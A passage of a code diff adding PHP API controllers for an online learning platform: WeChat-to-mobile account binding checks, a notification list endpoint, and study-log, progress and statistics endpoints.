$mobile = input('mobile');
//用户通过微信登录,需要绑定手机号,绑定的手机号已经注册过了。现在需要合并微信与手机号
//验证手机号
$bindUser = \app\common\model\User::where([
'mobile'=> $mobile,
'password'=>$key
])->find();
if(!$bindUser){
$this->error("获取被绑定用户信息失败");
}
if($mobile == $this->auth->mobile){
$this->error("重复绑定");
}
$isBindWechat = Oauth::where([
'user_id'=>$bindUser['id'],
'platform'=>\app\common\library\Platform::getPlatform()
])->find();
if($isBindWechat){
$this->error("被绑定手机号已经绑定微信了");
}
}
}
@@ -0,0 +1,35 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use think\Db;
/**
* 消息通知
*/
class Message extends Api
{
// 无需登录的接口,*表示全部
protected $noNeedLogin = ['*'];
protected $noNeedRight = '*';
public function _initialize()
{
parent::_initialize();
$this->model = new \app\common\model\user\Message();
}
/**
* 获取消息记录
* @return void
*/
public function getList(){
$limit = input('limit',10);
$page = input('page',1);
$list = $this->model->getList([
'limit'=>$limit,
'page'=>$page
]);
$this->success('获取成功',$list);
}
}
+212
View File
@@ -0,0 +1,212 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use app\common\model\user\Study as StudyModel;
use app\common\model\user\Subscription as SubscriptionModel;
/**
* 学习统计
*/
class Study extends Api
{
// 无需登录的接口,*表示全部
protected $noNeedLogin = ["setLog","getMediaProgress"];
protected $noNeedRight = '*';
protected $model;
protected $SubscriptionModel;
public function _initialize()
{
parent::_initialize();
$this->model = new StudyModel();
$this->SubscriptionModel = new SubscriptionModel();
}
/**
* 获取学习记录
* @return void
*/
public function getStudyLog(){
$limit = input('limit',10);
$page = input('page',1);
$list = $this->model->getStudyLog($this->auth->id,[
'limit'=>$limit,
'page'=>$page
]);
$this->success('获取成功', $list);
}
/**
* 获取统计
* @return void
*/
public function getStatistics(){
$time = $this->request->post('time',0);
$timeLimit = [];
$data = [];
$data['log'] = [];
if($time==0){
//日
$timeLimit['start'] = strtotime('today midnight');
$timeLimit['end'] = strtotime('today 23:59:59');
for ($i = 6; $i >= 0; $i--) {
$startOfDay = strtotime("-$i day", strtotime('today'));
$endOfDay = strtotime("+1 day", $startOfDay) - 1;
$date = date('m-d', $startOfDay);
$data['log'][$date] = $this->model->getTotal($this->auth->id,['start'=>$startOfDay,'end'=>$endOfDay]);
}
}elseif($time==1){
//周
$timeLimit['start'] = strtotime('this week');
$timeLimit['end'] = strtotime('this week +6 days +23 hours +59 minutes +59 seconds');
$weeks = getPastWeeksOfMonth();
foreach ($weeks as $item){
$startDate = date('m.d', $item['startDate']);
$endDate = date('m.d', $item['endDate']);
$data['log']["$startDate~$endDate"] = $this->model->getTotal($this->auth->id,['start'=>$item['startDate'],'end'=>$item['endDate']]);
}
}else{
//月
// 获取今年过去的月份的每月开始时间戳与结束时间戳
for ($i = 1; $i <= date('n'); $i++) {
// 计算每月的开始时间戳
$startOfMonth = strtotime(date('Y-' . $i . '-01'));
// 计算每月的结束时间戳
$endOfMonth = strtotime(date('Y-' . $i . '-t'));
$date = date('m月', $startOfMonth);
$data['log'][$date] = $this->model->getTotal($this->auth->id,['start'=>$startOfMonth,'end'=>$endOfMonth]);
}
$timeLimit['start'] = strtotime('first day of this month midnight');
$timeLimit['end'] = strtotime('last day of this month 23:59:59');
}
$data['total'] = $this->model->getTotal($this->auth->id);
$data['time_total'] = $this->model->getTotal($this->auth->id,$timeLimit);
$this->success('获取成功', $data);
}
/**
* 设置记录
* @return void
*/
public function setLog(){
if(!$this->auth->id){
$this->success('暂未记录');
}
$courseId = $this->request->post('course_id','');
$columnId = $this->request->post('column_id','');
$pause = $this->request->post('pause',0);
$mediaProgress = input('media_progress',0);
//判断课程是否已经订阅
$userId = $this->auth->id;
$subscriptionAuth = \app\common\model\user\Subscription::getSubscriptionAuth($this->auth->id,$courseId);
if(!$subscriptionAuth){
$this->success("暂无学习权限");
}
$this->model->setLog($userId,$courseId,$columnId,$mediaProgress);
if($pause){
$this->model->singleSyncCache($userId,$courseId);
}
$this->success("操作成功");
}
/**
* 学习完成
* @return void
*/
public function finish(){
$courseId = $this->request->post('course_id','');
$columnId = $this->request->post('column_id','');
if(!$courseId){
$this->error('参数错误');
}
$courseSubscriptionAuth = \app\common\model\user\Subscription::getSubscriptionAuth($this->auth->id,$courseId);
if(!$courseSubscriptionAuth){
$this->success("暂无学习权限");
}
$this->model->singleSyncCache($this->auth->id,$courseId);
$this->model->where(['course_id'=>$courseId,'user_id'=>$this->auth->id])->update(['finish'=>1]);
if($columnId){
$columnSubscriptionAuth = \app\common\model\user\Subscription::getSubscriptionAuth($this->auth->id,$columnId);
if(!$columnSubscriptionAuth){
$this->success("暂无学习权限");
}
if(\app\admin\library\project\App::isInstall('cert')){
(new \app\admin\model\app\cert\Grant)->courseCert($this->auth->id,$columnId);
}
}
$this->success("完成");
}
/**
* 获取媒体播放进度
* @return void
*/
public function getMediaProgress(){
if(!$this->auth->isLogin()){
$this->success('未登录',0);
}
$courseId = $this->request->post('course_id','');
$data = $this->model->where([
'course_id'=>$courseId,
'user_id'=>$this->auth->id
])->order("id","desc")->field("media_progress")->find();
$this->success("获取成功",($data ? $data['media_progress'] : 0));
}
/**
* 获取连续学习天数
* @param $userId
* @return int
*/
public function getContinuousStudyDays()
{
//获取连续学习天数
//获取加入时间
$studyDays = $this->model->getContinuousStudyDays($this->auth->id);
$joinDays = ceil((time() - $this->auth->createtime) / 86400);
$this->success("获取成功",[
'study_days'=>$studyDays,
'join_days'=>$joinDays
]);
}
}